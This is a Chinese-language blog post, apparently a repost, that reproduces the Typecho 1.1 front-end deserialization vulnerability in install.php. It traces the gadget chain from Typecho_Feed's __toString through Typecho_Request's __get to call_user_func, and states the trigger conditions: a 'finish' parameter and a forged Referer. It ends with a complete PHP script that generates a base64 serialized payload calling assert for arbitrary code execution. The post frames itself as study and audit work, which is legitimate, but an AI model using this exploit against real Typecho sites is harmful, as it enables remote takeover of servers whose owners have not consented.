Typecho1.1反序列化漏洞復現


 
兩三年前出的漏洞了,這里來進行一波審計和復現一波
 

環境搭建

 
首先你需要為typecho創建一個數據庫,不然后面會安裝失敗,這個雖然是前台Getshell,但是install.php里面驗證了是否存在數據庫配置文件,所以要觸發這個漏洞必須要先安裝
 

 

 
之后就可以觸發了
 

審計過程

 
漏洞大約在install.php的229行左右
 

 
很顯然的一處反序列化,我們跟進get方法看看
 

 
可以看到沒有對Cookie或者是POST過來的數據進行過濾,就是簡單的判斷是從POST取出數據還是Cookie中取出數據,也就是說上面我們反序列化得到的$config是可控的
 

 
接下來實例化一個類,將我們的config數組的兩個元素放進去
 

 

 
其中獲取數據庫適配器使用了字符串連接的方法,連接的對象就是我們我們的$config["adapter"],假設這個$config["adapter"]是一個類的話就會觸發__toString方法,那么上哪里面找有__toString的類呢
 

 
我用自帶的全局搜索找到了兩個,Feed.php,Query.php
 
跟進Feed.php查看他的__toString方法
 
在大約290行左右有這樣一行代碼
 

 
$item其實就這個類的一個私有變量
 

 
這里面調用了screenNmae參數,假設這個$item["author"]是個類,並且調用了不存在的screenName變量的時候就會觸發__get()魔術方法,我們同樣用全局搜索來定位這樣的類
 

 
跟進Request.php
 

 
再跟進get方法
 

 
這里面獲取$this->_params['screenName']的值並調用_applyFilter方法。
跟進看看
 

 
使用call_user_func函數來對\(value進行操作,首先\)this->_params['screenName']可控的,我們實例化的時候初始化就行,接下來看調用的函數是否可控(也就是$filter是否可控)
 

 
是可控的,那么我們就可以構造任意代碼執行或者命令執行的payload
 
還有要注意一點,因為漏洞是在install.php觸發的,所以我們需要在前面看一下允許執行的條件
 

 
需要get一個finish,還有偽造一個Referer就行了
 

思路整理

 
首先在install.php反序列化一個數組,數組的adapter元素為Feed.php里面的Typecho_Feed類,在Typecho_Db類初始化的階段會觸發Typecho_Feed的__toString方法,將Typecho_Feed類中的私有成員_items數組的author元素賦值為Request.php里面的Typecho_Request類,這樣在__toString中就會觸發Typecho_Reques類的__get方法,在將Typecho_Reques類中的私有成員$_params $_filter賦值就可以達到任意代碼執行的目的
 
總結: 反序列化感覺就是無限套娃的樣子
 

payload利用

 

<?php


class Typecho_Feed{
      /** 定義RSS 1.0類型 */
    const RSS1 = 'RSS 1.0';

    /** 定義RSS 2.0類型 */
    const RSS2 = 'RSS 2.0';

    /** 定義ATOM 1.0類型 */
    const ATOM1 = 'ATOM 1.0';

    /** 定義RSS時間格式 */
    const DATE_RFC822 = 'r';

    /** 定義ATOM時間格式 */
    const DATE_W3CDTF = 'c';

    /** 定義行結束符 */
    const EOL = "\n";

    private $_type;

    private $_charset;private $_items = array();


   public function __construct($value='')
  {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
  }


}



/**
 * 
 *///screenName  $value = $this->_params[screenName]   調用函數 $this->_filter($value)
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();


    function __construct()
    {
        $this->_params["screenName"]="phpinfo()";
        $this->_filter[0]="assert";
    }
}

$a = array(

"adapter" =>  new Typecho_Feed(),

"prefix" => "QAQ"

);

echo base64_encode(serialize($a));

?>

 

 

參考資料

 
http://www.tomyxy.com/index.php/archives/3.html

https://p0sec.net/index.php/archives/114/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM